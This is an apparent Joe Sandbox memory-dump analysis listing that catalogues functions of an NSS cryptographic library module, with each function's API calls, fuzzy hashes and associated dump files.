Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSgl"
API String ID: 2709355791-1840123121
Opcode ID: 2e5fceaacb49976069fbe7c603522db797bdbf66ba613969064f1c53db251236
Instruction ID: de32efadec219b692228fd34395635b893a6ae323f474ce772c3a287e0588441
Opcode Fuzzy Hash: 2e5fceaacb49976069fbe7c603522db797bdbf66ba613969064f1c53db251236
Instruction Fuzzy Hash: 04517F31A041458BEB21CA7EC4587FF7BF59F83358F188925E890A7B40D37988068FB9

Function 6C69EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69EF6D

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

htonl.WSOCK32(00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69EFE4
htonl.WSOCK32(?,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69EFF1
memcpy.VCRUNTIME140(?,?,6C6BA4A1,?,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6BA4A1,?,00000000,?,00000001), ref: 6C69F027

Strings

dtls13, xrefs: 6C69EF33

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 095ea6f00918decccd6e9598eb66fd0d7cd2e1f6c06000caac1450622c353fa1
Instruction ID: 6fc31b9ee71be8710854da817a7fe4e41c72592c3c94b9d1095825f9dcd6277d
Opcode Fuzzy Hash: 095ea6f00918decccd6e9598eb66fd0d7cd2e1f6c06000caac1450622c353fa1
Instruction Fuzzy Hash: D9310371A00216AFCB10CF38CC44B9AB7E4BF49348F15802AE8199B751E731E915CBE9

Function 6C61AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C61AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C739500,6C613F91), ref: 6C61AFD2

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

DER_GetInteger_Util.NSS3(?), ref: 6C61B007

Part of subcall function 6C666A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C611666,?,6C61B00C,?), ref: 6C666AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C61B02F
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C61B046
PL_FreeArenaPool.NSS3 ref: 6C61B058
PL_FinishArenaPool.NSS3 ref: 6C61B060

Strings

security, xrefs: 6C61AFB8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 733940ce419713b1b32b1bb67aa2bafc73da1db298b87dfa92c2b160cc520b9a
Instruction ID: a8bb7a00cb5cce47e2c1102fa89b93510122ab67bf8c27b73700efd5eb296627
Opcode Fuzzy Hash: 733940ce419713b1b32b1bb67aa2bafc73da1db298b87dfa92c2b160cc520b9a
Instruction Fuzzy Hash: 843107B14083009FDB208F289844BAA77A4AFC232EF144619E8B45BFD1E3329549C79F

Function 6C613E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6140D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C613F7F,?,00000055,?,?,6C611666,?,?), ref: 6C6140D9
Part of subcall function 6C6140D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C611666,?,?), ref: 6C6140FC
Part of subcall function 6C6140D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C611666,?,?), ref: 6C614138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C613EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C613ED6

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C613EEE

Part of subcall function 6C66FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C668D2D,?,00000000,?), ref: 6C66FB85
Part of subcall function 6C66FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C66FBB1

PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C613F02
PL_FreeArenaPool.NSS3 ref: 6C613F14
PL_FinishArenaPool.NSS3 ref: 6C613F1C

Part of subcall function 6C6764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C67127C,00000000,00000000,00000000), ref: 6C67650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C613F27

Strings

security, xrefs: 6C613EBC

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 76cfdbd80012cbf5851c5cf7ca2192843a311da8ee0b227b0d2158e9dd4fe345
Instruction ID: 36be110ff6c6491d65a0f5ccb076ca11968c2deeb18163dbb7aa043d3f56da02
Opcode Fuzzy Hash: 76cfdbd80012cbf5851c5cf7ca2192843a311da8ee0b227b0d2158e9dd4fe345
Instruction Fuzzy Hash: 5121D6B1908304ABD7148B29AC01FAA77B8BB8531CF04493DF959A7B41E730D61886AE

Function 6C65CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C65CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C65CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C65D079

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: c90545d4cbe78cc4929aa0e8f0a5b12ba0e520c7016f09478fd6d403e7d19c80
Instruction ID: 447a571729927b2bf17ccdc32070cdf074f825c93fc7f551dcd438449a7bd071
Opcode Fuzzy Hash: c90545d4cbe78cc4929aa0e8f0a5b12ba0e520c7016f09478fd6d403e7d19c80
Instruction Fuzzy Hash: 14C18FB1A002199BDB10CF24CC80BDAB7F4BF49318F6441A8D949A7741E775EEA5CF98

Function 6C64DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6597C1,?,00000000,00000000,?,?,?,00000000,?,6C637F4A,00000000), ref: 6C64DC68

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C637F4A,00000000,?,00000000,00000000), ref: 6C64DFAA

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 494ce9d9572594e54af256cebb1bebae0109d291f403f26e0e91b195f07d7657
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: B481D570E066018BFF244E59C8A0BA976D6DB6174CF20C43AD919CAFE1D776C4C6C61E

Function 6C623C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C623C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C623C94

Part of subcall function 6C6195B0: TlsGetValue.KERNEL32(00000000,?,6C6300D2,00000000), ref: 6C6195D2
Part of subcall function 6C6195B0: EnterCriticalSection.KERNEL32(?,?,?,6C6300D2,00000000), ref: 6C6195E7
Part of subcall function 6C6195B0: PR_Unlock.NSS3(?,?,?,?,6C6300D2,00000000), ref: 6C619605

PORT_NewArena_Util.NSS3(00000800), ref: 6C623CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C623CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C623CE1

Part of subcall function 6C623090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C63AE42), ref: 6C6230AA
Part of subcall function 6C623090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6230C7
Part of subcall function 6C623090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6230E5
Part of subcall function 6C623090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C623116
Part of subcall function 6C623090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C62312B
Part of subcall function 6C623090: PK11_DestroyObject.NSS3(?,?), ref: 6C623154
Part of subcall function 6C623090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62317E

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: ace8d8494ed6cfb324e44a217a590fd6e032a7cf626b9e9858da9f90fbe4cc4e
Instruction ID: 63fd48fac3bed52d03d0a6f20e32093eae538eeece202d5ef87262cee5a2f339
Opcode Fuzzy Hash: ace8d8494ed6cfb324e44a217a590fd6e032a7cf626b9e9858da9f90fbe4cc4e
Instruction Fuzzy Hash: 09611671A002006BEB105F61CC41FAB76BDEF05748F484039EE4A9AA52F735D819CBBC

Function 6C663D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C663440: PK11_GetAllTokens.NSS3 ref: 6C663481
Part of subcall function 6C663440: PR_SetError.NSS3(00000000,00000000), ref: 6C6634A3
Part of subcall function 6C663440: TlsGetValue.KERNEL32 ref: 6C66352E
Part of subcall function 6C663440: EnterCriticalSection.KERNEL32(?), ref: 6C663542
Part of subcall function 6C663440: PR_Unlock.NSS3(?), ref: 6C66355B

TlsGetValue.KERNEL32 ref: 6C663D8B
EnterCriticalSection.KERNEL32(?), ref: 6C663D9F
PR_Unlock.NSS3(?), ref: 6C663DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C663DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C663E4F

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

TlsGetValue.KERNEL32 ref: 6C663E97
EnterCriticalSection.KERNEL32(?), ref: 6C663EAB
PR_Unlock.NSS3(?), ref: 6C663ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C663EEE

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 98d101e45a63e5444bbb9e3784bd07a104c942ddbcb121bb51fd64687f239146
Instruction ID: 0d408d40a53dd79b2e9493a7434516cfb768ceb0325b2cf113b0072a8a682c09
Opcode Fuzzy Hash: 98d101e45a63e5444bbb9e3784bd07a104c942ddbcb121bb51fd64687f239146
Instruction Fuzzy Hash: 3B515872A006109FDB01AF2ADC44BA673B4EF46318F140179DE1957F22EB31E955CBEA

Function 6C612C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1A68F804), ref: 6C612C5D

Part of subcall function 6C670D30: calloc.MOZGLUE ref: 6C670D50
Part of subcall function 6C670D30: TlsGetValue.KERNEL32 ref: 6C670D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C612C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C612CE0

Part of subcall function 6C612E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C612CDA,?,00000000), ref: 6C612E1E
Part of subcall function 6C612E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C612E33
Part of subcall function 6C612E00: TlsGetValue.KERNEL32 ref: 6C612E4E
Part of subcall function 6C612E00: EnterCriticalSection.KERNEL32(?), ref: 6C612E5E
Part of subcall function 6C612E00: PL_HashTableLookup.NSS3(?), ref: 6C612E71
Part of subcall function 6C612E00: PL_HashTableRemove.NSS3(?), ref: 6C612E84
Part of subcall function 6C612E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C612E96
Part of subcall function 6C612E00: PR_Unlock.NSS3 ref: 6C612EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C612D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C612D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C612D3F
free.MOZGLUE(00000000), ref: 6C612D73
CERT_DestroyCertificate.NSS3(?), ref: 6C612DB8
free.MOZGLUE ref: 6C612DC8

Part of subcall function 6C613E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C613EC2
Part of subcall function 6C613E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C613ED6
Part of subcall function 6C613E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C613EEE
Part of subcall function 6C613E60: PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C613F02
Part of subcall function 6C613E60: PL_FreeArenaPool.NSS3 ref: 6C613F14
Part of subcall function 6C613E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C613F27

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: bfceb95cf463ba87c7cc17f5f76287519a6e15c9257918c2e3871073e3166603
Instruction ID: cc14fc53badd0df1f657f3e6d95789311025d4eaf0aaa97c444b6758a8505881
Opcode Fuzzy Hash: bfceb95cf463ba87c7cc17f5f76287519a6e15c9257918c2e3871073e3166603
Instruction Fuzzy Hash: E751E071A183159BEB11DE2DDC88B6B77E5EF8630AF14043CEC5583A50E731E815CB9A

Function 6C617CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6140D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C613F7F,?,00000055,?,?,6C611666,?,?), ref: 6C6140D9
Part of subcall function 6C6140D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C611666,?,?), ref: 6C6140FC
Part of subcall function 6C6140D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C611666,?,?), ref: 6C614138

PR_GetCurrentThread.NSS3 ref: 6C617CFD

Part of subcall function 6C6D9BF0: TlsGetValue.KERNEL32(?,?,?,6C720A75), ref: 6C6D9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C739030), ref: 6C617D1B

Part of subcall function 6C66FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C611A3E,00000048,00000054), ref: 6C66FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C739048), ref: 6C617D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C617D50
PR_GetCurrentThread.NSS3 ref: 6C617D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C617D7D
free.MOZGLUE(?), ref: 6C617D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C617DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C617E19

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 843a5e4967140beaabc4908fc08eb185662a5cc6034f01b80f09643765088c88
Instruction ID: 1feacd49794ab20101cda481ed6ab9d395150918038d4934b86da50671cb27f6
Opcode Fuzzy Hash: 843a5e4967140beaabc4908fc08eb185662a5cc6034f01b80f09643765088c88
Instruction Fuzzy Hash: 5C41D372E1811E9BDB008E6DDC41BAB33E4AF5135EF150024EC09A7E51EB31E91987AA

Function 6C627EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6280DD), ref: 6C627F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6280DD), ref: 6C627F36
free.MOZGLUE(?,?,?,6C6280DD), ref: 6C627F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6280DD), ref: 6C627F5D
DeleteCriticalSection.KERNEL32(?,6C6280DD), ref: 6C627F94
free.MOZGLUE(?), ref: 6C627F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6280DD), ref: 6C627FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6280DD), ref: 6C627FE6
free.MOZGLUE(?,6C6280DD), ref: 6C62802D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3387f6a5e3c10001294a47944c8a97bd7f706f51ae7a1e4ee629b8f33689db7
Instruction ID: 3f695cba0ac3ec1b88c331f0b89bc6714e106ca5445771bb426294b877cdb36d
Opcode Fuzzy Hash: c3387f6a5e3c10001294a47944c8a97bd7f706f51ae7a1e4ee629b8f33689db7
Instruction Fuzzy Hash: A84104B1B05264CBDF119FBACC88A4A77B5BB47398F100239E92983B41D7349405CBBD

Function 6C66FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66FF00

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C66FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C66FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C66FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C66FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C66FF8C

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

